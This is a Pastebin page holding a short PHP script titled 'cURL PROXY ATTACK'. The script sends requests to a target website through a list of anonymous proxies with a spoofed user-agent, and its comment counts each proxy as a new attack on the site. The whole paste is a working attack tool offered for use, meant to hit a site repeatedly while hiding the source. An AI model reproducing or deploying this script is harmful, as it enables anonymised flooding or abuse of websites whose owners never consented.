Advertisement
scriptz-team

[PHP] cURL PROXY ATTACK

Apr 26th, 2012
832
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.04 KB | None | 0 0
  1. <?php
  2. /* _____ _____ _ _____ _____ _____ _____ _____ _____
  3. ___| | __ |_| _ |_ _|___ ___|_ _| __| _ | |
  4. |_ -| --| -| | __| | | |- _|___| | | | __| | | | |
  5. |___|_____|__|__|_|__| |_| |___| |_| |_____|__|__|_|_|_|
  6. |s C R i P T z - T E A M . i N F O|----------------------------
  7.  
  8. [PHP] cURL PROXY ATTACK
  9.  
  10. COUNT OF PROXiES = COUNT OF NEW ATTACK ON WEBSiTE => "SITE_URL"
  11.  
  12. "$proxies" =>
  13. Get from http://pastebin.com/u/scriptz-team => Search for "HiGH ANONYM FAST PROXiES"
  14. */
  15. set_time_limit(0);
  16.  
  17. $proxies = "IP:PORT
  18. IP:PORT
  19. IP:PORT
  20. ";
  21.  
  22. define("SITE_URL", "http://somesite.com");
  23. define("USER_AGENT", "Some random user-agent");
  24.  
  25. foreach (explode("\n", $proxies) as $proxy) {
  26. $ch = curl_init();
  27. curl_setopt($ch, CURLOPT_URL, SITE_URL);
  28. curl_setopt($ch, CURLOPT_USERAGENT, USER_AGENT);
  29. curl_setopt($ch, CURLOPT_PROXY, $proxy);
  30. curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 1);
  31. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  32. $data = curl_exec($ch);
  33. curl_close($ch);
  34. }
  35. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement